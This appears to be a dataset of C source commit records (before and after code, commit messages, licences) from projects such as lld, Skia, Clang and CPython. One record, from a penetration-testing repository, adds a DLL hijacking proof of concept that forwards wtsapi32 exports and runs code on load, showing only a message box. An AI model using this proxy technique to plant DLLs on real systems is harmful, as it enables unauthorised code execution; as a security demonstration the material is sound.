da66946ecd7257482a58d6eee247012d9e5250e9
lib/ReaderWriter/ELF/Mips/MipsRelocationHandler.h
lib/ReaderWriter/ELF/Mips/MipsRelocationHandler.h
//===- lld/ReaderWriter/ELF/Mips/MipsRelocationHandler.h ------------------===// // // The LLVM Linker // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// #ifndef LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H #define LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H #include "TargetHandler.h" #include "lld/Core/Reference.h" namespace lld { namespace elf { template<typename ELFT> class MipsTargetLayout; class MipsRelocationHandler : public TargetRelocationHandler { public: virtual Reference::Addend readAddend(Reference::KindValue kind, const uint8_t *content) const = 0; }; template <class ELFT> std::unique_ptr<TargetRelocationHandler> createMipsRelocationHandler(MipsLinkingContext &ctx, MipsTargetLayout<ELFT> &layout); } // elf } // lld #endif
//===- lld/ReaderWriter/ELF/Mips/MipsRelocationHandler.h ------------------===// // // The LLVM Linker // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// #ifndef LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H #define LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H #include "TargetHandler.h" #include "lld/Core/Reference.h" namespace lld { namespace elf { template<typename ELFT> class MipsTargetLayout; class MipsRelocationHandler : public TargetRelocationHandler { public: virtual Reference::Addend readAddend(Reference::KindValue kind, const uint8_t *content) const = 0; }; template <class ELFT> std::unique_ptr<TargetRelocationHandler> createMipsRelocationHandler(MipsLinkingContext &ctx, MipsTargetLayout<ELFT> &layout); } // elf } // lld #endif
Reformat the code with clang-format
[Mips] Reformat the code with clang-format git-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@234153 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
llvm-mirror/lld,llvm-mirror/lld
93e853bf2b832d13cb64194b90a8fec44544e518
include/core/SkMilestone.h
include/core/SkMilestone.h
/* * Copyright 2016 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SK_MILESTONE #define SK_MILESTONE 79 #endif
/* * Copyright 2016 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SK_MILESTONE #define SK_MILESTONE 80 #endif
Update Skia milestone to 80
Update Skia milestone to 80 TBR=reed Change-Id: I121ad8cf68f4a42ba5285cef5c2f9d450ba7545b Reviewed-on: https://skia-review.googlesource.com/c/skia/+/249123 Reviewed-by: Heather Miller <[email protected]> Commit-Queue: Heather Miller <[email protected]> Auto-Submit: Heather Miller <[email protected]>
C
bsd-3-clause
HalCanary/skia-hc,aosp-mirror/platform_external_skia,google/skia,HalCanary/skia-hc,aosp-mirror/platform_external_skia,aosp-mirror/platform_external_skia,google/skia,google/skia,google/skia,HalCanary/skia-hc,google/skia,aosp-mirror/platform_external_skia,aosp-mirror/platform_external_skia,HalCanary/skia-hc,HalCanary/skia-hc,HalCanary/skia-hc,aosp-mirror/platform_external_skia,google/skia,HalCanary/skia-hc,aosp-mirror/platform_external_skia,google/skia,aosp-mirror/platform_external_skia,google/skia,aosp-mirror/platform_external_skia,HalCanary/skia-hc,HalCanary/skia-hc,google/skia,google/skia,HalCanary/skia-hc,aosp-mirror/platform_external_skia
be14765aa6c435e9a41b0a680d259fc0495c6ff1
example_code/dll_with_proxies.c
example_code/dll_with_proxies.c
// i686-w64-mingw32-g++ dll.c -lws2_32 -o wtsapi32.dll -shared #include <windows.h> #include <string> #include <stdio.h> #include <Lmcons.h> BOOL IsElevated() { BOOL fRet = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION Elevation; DWORD cbSize = sizeof(TOKEN_ELEVATION); if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { fRet = Elevation.TokenIsElevated; } } if (hToken) { CloseHandle(hToken); } return fRet; } asm (".section .drectve\n\t.ascii \" -export:WTSEnumerateProcessesW=c:/windows/system32/wtsapi32.WTSEnumerateProcessesW\""); asm (".section .drectve\n\t.ascii \" -export:WTSQueryUserToken=c:/windows/system32/wtsapi32.WTSQueryUserToken\""); asm (".section .drectve\n\t.ascii \" -export:WTSFreeMemory=c:/windows/system32/wtsapi32.WTSFreeMemory\""); asm (".section .drectve\n\t.ascii \" -export:WTSEnumerateSessionsW=c:/windows/system32/wtsapi32.WTSEnumerateSessionsW\""); BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ BOOL elevated; char username[UNLEN+1]; DWORD username_len = UNLEN + 1; char out[UNLEN+28]; switch(dwReason){ case DLL_PROCESS_ATTACH: elevated = IsElevated(); GetUserName(username, &username_len); strcpy(out, "Running "); if (elevated) { strcat(out, "elevated as user "); } else { strcat(out, "unelevated as user "); } strcat(out, username); MessageBox(0, out, "Dll Hijacking POC Code", 0); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; }
Add dll hijack proxy example
Add dll hijack proxy example
C
bsd-3-clause
stephenbradshaw/pentesting_stuff,stephenbradshaw/pentesting_stuff,stephenbradshaw/pentesting_stuff,stephenbradshaw/pentesting_stuff
a8d6c1209a737eb760ece69e12348b4bd275dc9f
include/ofp/ipv6endpoint.h
include/ofp/ipv6endpoint.h
#ifndef OFP_IPV6ENDPOINT_H #define OFP_IPV6ENDPOINT_H #include "ofp/ipv6address.h" namespace ofp { // <namespace ofp> class IPv6Endpoint { public: IPv6Endpoint() = default; IPv6Endpoint(const IPv6Address &addr, UInt16 port) : addr_{addr}, port_{port} {} IPv6Endpoint(const std::string &addr, UInt16 port) : addr_{addr}, port_{port} {} explicit IPv6Endpoint(UInt16 port) : addr_{}, port_{port} {} bool parse(const std::string &s); void clear(); bool valid() const { return port_ != 0; } const IPv6Address &address() const { return addr_; } UInt16 port() const { return port_; } void setAddress(const IPv6Address &addr) { addr_ = addr; } void setPort(UInt16 port) { port_ = port; } std::string toString() const; private: IPv6Address addr_; UInt16 port_ = 0; }; } // </namespace ofp> #endif // OFP_IPV6ENDPOINT_H
#ifndef OFP_IPV6ENDPOINT_H #define OFP_IPV6ENDPOINT_H #include "ofp/ipv6address.h" #include <istream> #include "ofp/log.h" namespace ofp { // <namespace ofp> class IPv6Endpoint { public: IPv6Endpoint() = default; IPv6Endpoint(const IPv6Address &addr, UInt16 port) : addr_{addr}, port_{port} {} IPv6Endpoint(const std::string &addr, UInt16 port) : addr_{addr}, port_{port} {} explicit IPv6Endpoint(UInt16 port) : addr_{}, port_{port} {} bool parse(const std::string &s); void clear(); bool valid() const { return port_ != 0; } const IPv6Address &address() const { return addr_; } UInt16 port() const { return port_; } void setAddress(const IPv6Address &addr) { addr_ = addr; } void setPort(UInt16 port) { port_ = port; } std::string toString() const; private: IPv6Address addr_; UInt16 port_ = 0; }; std::istream &operator>>(std::istream &is, IPv6Endpoint &value); std::ostream &operator<<(std::ostream &os, const IPv6Endpoint &value); inline std::istream &operator>>(std::istream &is, IPv6Endpoint &value) { std::string str; is >> str; if (!value.parse(str)) { is.setstate(std::ios::failbit); } return is; } inline std::ostream &operator<<(std::ostream &os, const IPv6Endpoint &value) { return os << value.toString(); } } // </namespace ofp> #endif // OFP_IPV6ENDPOINT_H
Add program options to bridgeofp.
Add program options to bridgeofp.
C
mit
byllyfish/oftr,byllyfish/oftr,byllyfish/libofp,byllyfish/oftr,byllyfish/oftr,byllyfish/libofp,byllyfish/libofp,byllyfish/oftr
ecb85e51ee8ef75ded6307bd64b9490323a52436
libresource/androidfw/Util.h
libresource/androidfw/Util.h
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #ifndef _FB_UTIL_REIMPLEMENTATION #define _FB_UTIL_REIMPLEMENTATION #include <algorithm> #include <sstream> #include <string> #include <vector> namespace android { namespace util { inline std::vector<std::string> SplitAndLowercase(const std::string& str, char sep) { std::vector<std::string> result; std::stringstream ss(str); std::string part; while (std::getline(ss, part, sep)) { std::transform(part.begin(), part.end(), part.begin(), [](unsigned char c) { return std::tolower(c); }); result.push_back(part); } return result; } } // namespace util } // namespace android #endif // _FB_UTIL_REIMPLEMENTATION
Add Locale.cpp to sync and minimal deps
Add Locale.cpp to sync and minimal deps Summary: This will be used to facilitate the conversion of protobuf Configuration objects and ResTable_config structs. Reviewed By: ssj933 Differential Revision: D37507440 fbshipit-source-id: a557afd7dec0f071ff67629e3e7657dce86e50d2
C
mit
facebook/redex,facebook/redex,facebook/redex,facebook/redex,facebook/redex,facebook/redex,facebook/redex,facebook/redex,facebook/redex
1afc8f3851b76ce445a4e6d11cc87a277801bbad
tests/regression/56-witness/50-witness-lifter-fp1.c
tests/regression/56-witness/50-witness-lifter-fp1.c
// PARAM: --enable ana.sv-comp.enabled --enable ana.sv-comp.functions --set ana.specification 'CHECK( init(main()), LTL(G ! call(reach_error())) )' --enable ana.int.interval // previously fixpoint not reached // extracted from sv-benchmarks loops-crafted-1/loopv2 int SIZE = 50000001; int __VERIFIER_nondet_int(); int main() { int n,i,j; n = __VERIFIER_nondet_int(); if (!(n <= SIZE)) return 0; i = 0; j=0; while(i<n){ i = i + 4; j = i +2; } return 0; }
Add witness lifter fixpoint not reached test from sv-benchmarks
Add witness lifter fixpoint not reached test from sv-benchmarks
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
eb7482ed7ba773d3d560054ab8c662c81bf70edb
Fingertips.h
Fingertips.h
// // Fingertips.h // Fingertips // // Copyright © 2016 Mapbox. All rights reserved. // #import <UIKit/UIKit.h> //! Project version number for Fingertips. FOUNDATION_EXPORT double FingertipsVersionNumber; //! Project version string for Fingertips. FOUNDATION_EXPORT const unsigned char FingertipsVersionString[]; #import <Fingertips/MPFingerTipWindow.h>
// // Fingertips.h // Fingertips // // Copyright © 2016 Mapbox. All rights reserved. // #import <UIKit/UIKit.h> //! Project version number for Fingertips. FOUNDATION_EXPORT double FingertipsVersionNumber; //! Project version string for Fingertips. FOUNDATION_EXPORT const unsigned char FingertipsVersionString[]; #import <Fingertips/MBFingerTipWindow.h>
Fix prefix in header import
Fix prefix in header import
C
bsd-3-clause
mapbox/Fingertips
c4cc403d1e7b020d6d5deb968e4686301a8c83ac
test/Driver/linux-ld.c
test/Driver/linux-ld.c
// General tests that ld invocations on Linux targets sane. // // RUN: %clang -no-canonical-prefixes -ccc-host-triple i386-unknown-linux %s -### -o %t.o 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-LD-32 %s // CHECK-LD-32: "{{.*}}/ld" {{.*}} "-L/lib/../lib32" "-L/usr/lib/../lib32" // // RUN: %clang -no-canonical-prefixes -ccc-host-triple x86_64-unknown-linux %s -### -o %t.o 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-LD-64 %s // CHECK-LD-64: "{{.*}}/ld" {{.*}} "-L/lib/../lib64" "-L/usr/lib/../lib64"
Add a test that ensures we get the basic multilib '-L' flags to 'ld' invocations on Linux.
Add a test that ensures we get the basic multilib '-L' flags to 'ld' invocations on Linux. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@140909 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang
cdce7bd7f4d0a1114f9db3b94a62e5dd70130a09
Include/dictobject.h
Include/dictobject.h
/* Dictionary object type -- mapping from char * to object. NB: the key is given as a char *, not as a stringobject. These functions set errno for errors. Functions dictremove() and dictinsert() return nonzero for errors, getdictsize() returns -1, the others NULL. A successful call to dictinsert() calls INCREF() for the inserted item. */ extern typeobject Dicttype; #define is_dictobject(op) ((op)->ob_type == &Dicttype) extern object *newdictobject PROTO((void)); extern object *dictlookup PROTO((object *dp, char *key)); extern int dictinsert PROTO((object *dp, char *key, object *item)); extern int dictremove PROTO((object *dp, char *key)); extern int getdictsize PROTO((object *dp)); extern char *getdictkey PROTO((object *dp, int i)); /* New interface with (string)object * instead of char * arguments */ extern object *dict2lookup PROTO((object *dp, object *key)); extern int dict2insert PROTO((object *dp, object *key, object *item)); extern int dict2remove PROTO((object *dp, object *key)); extern object *getdict2key PROTO((object *dp, int i));
/* Dictionary object type -- mapping from char * to object. NB: the key is given as a char *, not as a stringobject. These functions set errno for errors. Functions dictremove() and dictinsert() return nonzero for errors, getdictsize() returns -1, the others NULL. A successful call to dictinsert() calls INCREF() for the inserted item. */ extern typeobject Dicttype; #define is_dictobject(op) ((op)->ob_type == &Dicttype) extern object *newdictobject PROTO((void)); extern object *dictlookup PROTO((object *dp, char *key)); extern int dictinsert PROTO((object *dp, char *key, object *item)); extern int dictremove PROTO((object *dp, char *key)); extern int getdictsize PROTO((object *dp)); extern char *getdictkey PROTO((object *dp, int i));
Remove dict2 interface -- it's now static.
Remove dict2 interface -- it's now static.
C
mit
sk-/python2.7-type-annotator,sk-/python2.7-type-annotator,sk-/python2.7-type-annotator
4b78d2cada6aad776b2f3986730baded297a587d
IAAI.c
IAAI.c
#include <stdio.h> #include <stdlib.h> #include <string.h> const char RAW[] = "/bin/stty raw"; const char default_str[] = "I AM AN IDIOT "; int main(int argc, char **argv) { const char *str; if ( argc == 2 ) str = argv[1]; else str = default_str; size_t len = strlen(str); system(RAW); while ( 1 ) { for ( size_t i = 0 ; i < len ; i++ ) { getchar(); printf("\x1b[2K\r"); for ( size_t j = 0 ; j <= i ; j++ ) { printf("%c", str[j]); } } printf("\n\r"); } return 0; }
#include <stdio.h> #include <stdlib.h> #include <string.h> const char RAW[] = "/bin/stty raw"; #define CLEAR_LINE "\x1b[2K" #define GOTO_START "\r" #define GOTO_NEXT_LINE "\n" const char default_str[] = "I AM AN IDIOT "; int main(int argc, char **argv) { const char *str; if ( argc == 2 ) str = argv[1]; else str = default_str; size_t len = strlen(str); system(RAW); while ( 1 ) { for ( size_t i = 0 ; i < len ; i++ ) { getchar(); printf(CLEAR_LINE GOTO_START); for ( size_t j = 0 ; j <= i ; j++ ) { printf("%c", str[j]); } } printf(GOTO_NEXT_LINE GOTO_START); } return 0; }
Make the constants easier to understand
Make the constants easier to understand
C
mit
vinamarora8/IAAI
0e3a4a9fca8ea836bd60f2f1091a39acb9ccbaa1
praxis/wirth-problem-15.12.c
praxis/wirth-problem-15.12.c
/* Copyright 2012 Dennis Decker Jensen http://programmingpraxis.com/2012/12/07/wirth-problem-15-12/ In his 1973 book "Systematic Programming: An Introduction", Niklaus Wirth gives the following problem as exercise 15.12: Develop a program that generates in ascending order the least 100 numbers of the set M, where M is defined as follows: a) The number 1 is in M. b) If x is in M, then y = 2 * x + 1 and z = 3 * x + 1 are also in M c) No other numbers are in M Wirth also gives the first six numbers in the result sequence: 1, 3, 4, 7, 9, 10, ... Your task is to write a program that finds the first N numbers in Wirth's sequence. */ #include <stdio.h> void wirth(unsigned int n) { unsigned int y, z, iy, iz, i, m[n], min; m[0] = 1; printf(" 1: 1\n"); iy = iz = 0; for (i = 1; i < 100; ++i) { y = 2 * m[iy] + 1; z = 3 * m[iz] + 1; min = z < y ? z : y; m[i] = min; printf("%3d: %3d\n", i+1, min); if (y <= m[i]) ++iy; if (z <= m[i]) ++iz; } return; } int main(int argc, char *argv[]) { wirth(100); return 0; }
Add classic Wirth problem on numbers 1-100.
Add classic Wirth problem on numbers 1-100.
C
isc
dennisdjensen/sketchbook,dennisdjensen/sketchbook,dennisdjensen/sketchbook,dennisdjensen/sketchbook,dennisdjensen/sketchbook
bbf57ade4773694a0a4c03612f9b17e19702d669
libyaul/cons/vdp1.c
libyaul/cons/vdp1.c
/* * Copyright (c) 2012 Israel Jacques * See LICENSE for details. * * Israel Jacques <[email protected]> */ #include "cons.h" typedef struct { } cons_vdp1_t; static struct cons_vdp1_t *cons_vdp1_new(void); static void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t); void cons_vdp1_init(struct cons *cons) { cons_vdp1_t *cons_vdp1; cons_vdp1 = cons_vdp1_new(); cons->driver = cons_vdp1; cons->write = cons_vdp1_write; cons_reset(cons); } static struct cons_vdp1_t * cons_vdp1_new(void) { static struct cons_vdp1_t cons_vdp1; return &cons_vdp1; } static void cons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg) { }
/* * Copyright (c) 2012 Israel Jacques * See LICENSE for details. * * Israel Jacques <[email protected]> */ #include <inttypes.h> #include <stdbool.h> #include <ctype.h> #include <string.h> #include "cons.h" typedef struct { } cons_vdp1_t; static cons_vdp1_t *cons_vdp1_new(void); static void cons_vdp1_reset(struct cons *); static void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t); void cons_vdp1_init(struct cons *cons) { cons_vdp1_t *cons_vdp1; cons_vdp1 = cons_vdp1_new(); cons->driver = cons_vdp1; cons->write = cons_vdp1_write; cons->reset = cons_vdp1_reset; cons_reset(cons); } static cons_vdp1_t * cons_vdp1_new(void) { /* XXX Replace with TLSF */ static cons_vdp1_t cons_vdp1; return &cons_vdp1; } static void cons_vdp1_reset(struct cons *cons) { cons_vdp1_t *cons_vdp1; cons_vdp1 = cons->driver; /* Reset */ } static void cons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg) { cons_vdp1_t *cons_vdp1; cons_vdp1 = cons->driver; }
Change stubs for VDP1 cons driver
Change stubs for VDP1 cons driver
C
mit
ijacquez/libyaul,ijacquez/libyaul,ijacquez/libyaul,ijacquez/libyaul
bb414dec4868931b7589aa81b0469ab4cb37eebe
main.c
main.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "is_utf8.h" int main(int ac, char **av) { if (ac != 2) { fprintf(stderr, "USAGE: %s string\n", av[0]); return EXIT_FAILURE; } return is_utf8((unsigned char*)av[1], strlen(av[1])); }
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "is_utf8.h" #define BUFSIZE 4096 int main(int ac, char **av) { char buffer[BUFSIZE]; int read_retval; if (ac != 2) { fprintf(stderr, "USAGE: %s STRING or - for stdin.\n", av[0]); return EXIT_FAILURE; } if (strcmp(av[1], "-") == 0) { while (42) { read_retval = read(0, buffer, BUFSIZE); if (read_retval == 0) return EXIT_SUCCESS; if (read_retval == -1) { perror("read"); return EXIT_FAILURE; } if (is_utf8((unsigned char*)buffer, read_retval) != 0) return EXIT_FAILURE; } return EXIT_SUCCESS; } return is_utf8((unsigned char*)av[1], strlen(av[1])); }
Read on stdin for is_utf8 -
NEW: Read on stdin for is_utf8 -
C
bsd-2-clause
JulienPalard/is_utf8,JulienPalard/is_utf8
caa2c89c473f15aa1f8c8530d136e2f5a27a6415
testft.c
testft.c
#include <err.h> #include <math.h> #include <stdio.h> #include <stdlib.h> #include "pt.h" #define EPSILON 1.0e-8 int main(int argc, char **argv) { double e_ft, e_ref, *f_ov, *d_ov, *l1, *t2, *l2, *i_oovv; double *i2_oovo, *i3_ovvv, *i6_oovo, *i7_ovvv; size_t o, v; #ifdef WITH_MPI MPI_Init(&argc, &argv); #endif if (argc < 2) errx(1, "specify test file"); e_ft = cc_ft(o, v, f_ov, d_ov, l1, t2, l2, i_oovv, i2_oovo, i3_ovvv, i6_oovo, i7_ovvv); #ifdef WITH_MPI MPI_Finalize(); #endif return (fabs(e_ft - e_ref) < EPSILON ? 0 : 1); }
Add dummy test for (fT).
Add dummy test for (fT).
C
isc
ilyak/libpt,ilyak/libpt
f5d025e4a30b5f0dc1a4df85135e0ee507847342
test/CodeGen/unreachable-ret.c
test/CodeGen/unreachable-ret.c
// RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck %s extern void abort() __attribute__((noreturn)); void f1() { abort(); } // CHECK-LABEL: define void @f1() // CHECK-NEXT: entry: // CHECK-NEXT: call void @abort() // CHECK-NEXT: unreachable // CHECK-NEXT: } void *f2() { abort(); return 0; } // CHECK-LABEL: define i8* @f2() // CHECK-NEXT: entry: // CHECK-NEXT: call void @abort() // CHECK-NEXT: unreachable // CHECK-NEXT: }
// RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck %s extern void abort() __attribute__((noreturn)); void f1() { abort(); } // CHECK-LABEL: define {{.*}}void @f1() // CHECK-NEXT: entry: // CHECK-NEXT: call void @abort() // CHECK-NEXT: unreachable // CHECK-NEXT: } void *f2() { abort(); return 0; } // CHECK-LABEL: define {{.*}}i8* @f2() // CHECK-NEXT: entry: // CHECK-NEXT: call void @abort() // CHECK-NEXT: unreachable // CHECK-NEXT: }
Fix for different build configurations.
Fix for different build configurations. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@358125 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang
326c70c9fb409f0c8d423ee860d687912ab1fc8e
test/Misc/driver-verify.c
test/Misc/driver-verify.c
// RUN: not %clang %s -verify 2>&1 | FileCheck %s // RUN: %clang -cc1 -verify %s // expected-no-diagnostics // Test that -verify is strictly rejected as unknown by the driver. // CHECK: unknown argument: '-verify'
// RUN: not %clang -verify %s 2>&1 | FileCheck %s // RUN: %clang -cc1 -verify %s // expected-no-diagnostics // Test that -verify is strictly rejected as unknown by the driver. // CHECK: unknown argument: '-verify'
Tweak test run line for readability
Tweak test run line for readability Matching up the argument order in r199455's two RUN lines better demonstrates what's going on. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@199456 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang
9e166082555486d9a9bd8b714ac52f6c4ff4a04c
Sources/KeepLayout.h
Sources/KeepLayout.h
// // KeepLayout.h // Keep Layout // // Created by Martin Kiss on 28.1.13. // Copyright (c) 2013 Triceratops. All rights reserved. // #ifdef __cplusplus #import <Foundation/Foundation.h> #else @import Foundation; #endif FOUNDATION_EXPORT double KeepLayoutVersionNumber; FOUNDATION_EXPORT const unsigned char KeepLayoutVersionString[]; #import "KeepTypes.h" #import "KeepAttribute.h" #import "KeepView.h" #import "KeepArray.h" #import "KeepLayoutConstraint.h" #if TARGET_OS_IPHONE #import "UIViewController+KeepLayout.h" #import "UIScrollView+KeepLayout.h" #endif
// // KeepLayout.h // Keep Layout // // Created by Martin Kiss on 28.1.13. // Copyright (c) 2013 Triceratops. All rights reserved. // #import <Foundation/Foundation.h> FOUNDATION_EXPORT double KeepLayoutVersionNumber; FOUNDATION_EXPORT const unsigned char KeepLayoutVersionString[]; #import "KeepTypes.h" #import "KeepAttribute.h" #import "KeepView.h" #import "KeepArray.h" #import "KeepLayoutConstraint.h" #if TARGET_OS_IPHONE #import "UIViewController+KeepLayout.h" #import "UIScrollView+KeepLayout.h" #endif
Simplify importing Foundation while still compatible with C++
Simplify importing Foundation while still compatible with C++
C
mit
Tricertops/KeepLayout,K-Be/KeepLayout,K-Be/KeepLayout,iMartinKiss/KeepLayout,Tricertops/KeepLayout